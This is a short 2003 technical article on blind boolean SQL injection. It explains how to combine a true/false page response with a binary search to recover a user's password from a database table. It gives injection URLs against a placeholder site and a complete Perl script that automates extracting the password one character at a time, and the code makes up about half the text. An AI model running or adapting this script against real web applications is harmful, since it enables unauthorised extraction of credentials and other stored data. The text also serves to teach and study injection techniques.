Using Binary Search with SQL Injection

Sverre H. Huseby
shh@thathost.com
2003-08-26

With SQL Injection one may perform many cool attacks on a web site. This text will not tell you how, as it assumes you're already familiar with advanced SQL Injection.

Getting access to information using SQL Injection is sometimes trivial, and sometimes hard. How hard it is depends on many factors, such as: Is it possible to use UNION SELECT? Is it possible to batch requests in order to INSERT or UPDATE something based on subselects?

The following presents a method to get access to values of textual database fields when neither batched queries nor UNION SELECT will help. There are a few requirements, though. And often those requirements are not met, so you may view this text as purely theoretical if you wish.

Let's say I know

* that the database in question has a table called "Usr". The table has a "UserName" column containing user names, and a "Password" column containing (clear-text, shame on them) passwords. The "UserName" column contains unique values.

* that there's a user named "john".

* that SQL Injection is possible on some page, and that I may add a boolean clause and use the page contents as an indicator of whether the clause was TRUE or FALSE.

  The following URL would display some page contents, for instance a news article with ID 123:

    http://somesite.example/foo.php?id=123+AND+1=1

  while the following would display some other contents, for instance _not_ the article with ID 123:

    http://somesite.example/foo.php?id=123+AND+1=0

Given the above, it will be possible to find John's password using a series of requests. Have a look at the following boolean part:

```
AND (SELECT COUNT(*) FROM Usr
                     WHERE UserName = 'john'
                       AND Password >= 'f') = 1
```

The expression contains a subselect that counts the number of johns having a password textually greater than or equal to 'f'. It also contains a check to see if the count is exactly one (it will be zero or one, as the "UserName" column is unique).

Now, if we add this boolean expression to the URL, and the resulting page contains what it contains only if the expression is true, we known that John's password is textually greater than or equal to 'f'. We may, of course, do similar tests for less than and equality, making it possible to do a binary search in which we search for longer and longer text strings until a complete match is found.

Below is a sample Perl program (written in a hurry without thinking, not tested much, may contain bugs) to do such a search. The program finds the password 'TopSecret' using only 106 requests.

(Even though I used user names and passwords in the example, the

approach would work for other kinds of data as well, as long as it is
possible to lock in on a single row in the target table.)

OK, I told you this was of little use. But it was fun to write
anyway.

Sverre.

--8<--

```
#!/usr/bin/perl -w
use LWP::Simple;

$baseurl = "http://somesite.example/foo.php?id=123";
$sqlinject = "+AND+(SELECT+COUNT(*)+FROM+Usr"
           . "+WHERE+UserName='john'+AND+%s)=1";
$url = $baseurl . $sqlinject;
$field = "Password";
$mustcontain = "some text that is only visible when boolean is TRUE";

$numrequests = 0;

sub sqlstr {
    # this sub depends on the target database
    my($s) = @_;
    $s =~ s/\'/\'\'/g;
    $s =~ s/\\/\\\\/g;
    return "'" . $s . "'";
}

sub urlenc {
    my($s) = @_;

    $s =~ s/([\000-\037\177-\377<>\"\#%{}|\\^~\[\]\`;\/?:@=&+])/
        sprintf("%%%02X", ord($1))/ge;
    $s =~ s/ /+/g;
    return $s;
}

sub wget {
    my($url) = @_;
    $html = LWP::Simple::get($u);
    if (!defined($html)) {
        print "unable to connect\n";
        exit 1;
    }
    ++$numrequests;
    return $html;
}

$stem = "";
for (;;) {
    $min = 1;
    $max = 254;
    for (;;) {
        $c = $min + int(($max - $min) / 2);
        $c2 = $c + 1;
        $value = $stem . chr($c);
        $value2 = $stem . chr($c2);

        $u = sprintf($url, &urlenc(" " . $field . "<" . &sqlstr($value)));
        $html = &wget($u);
        if (index($html, $mustcontain) >= 0) {
            $max = $c - 1;
        } else {
            $u = sprintf($url, &urlenc(" " . $field . ">="
                                       . &sqlstr($value2)));
```

```
            $html = &wget($u);
            if (index($html, $mustcontain) >= 0) {
                $min = $c + 1;
            } else {
                $stem .= chr($c);
                last;
            }
        }
        if ($max < $min) {
            print "huh?\n";
            exit 1;
        }
    }
    $u = sprintf($url, &urlenc(" " . $field . "=" . &sqlstr($stem)));
    $html = &wget($u);
    if (index($html, $mustcontain) >= 0) {
        print $field . " is \"" . $stem . "\" ("
            . $numrequests . " requests)\n";
        last;
    }
}
--8<-----------------------------------------------------------------------
```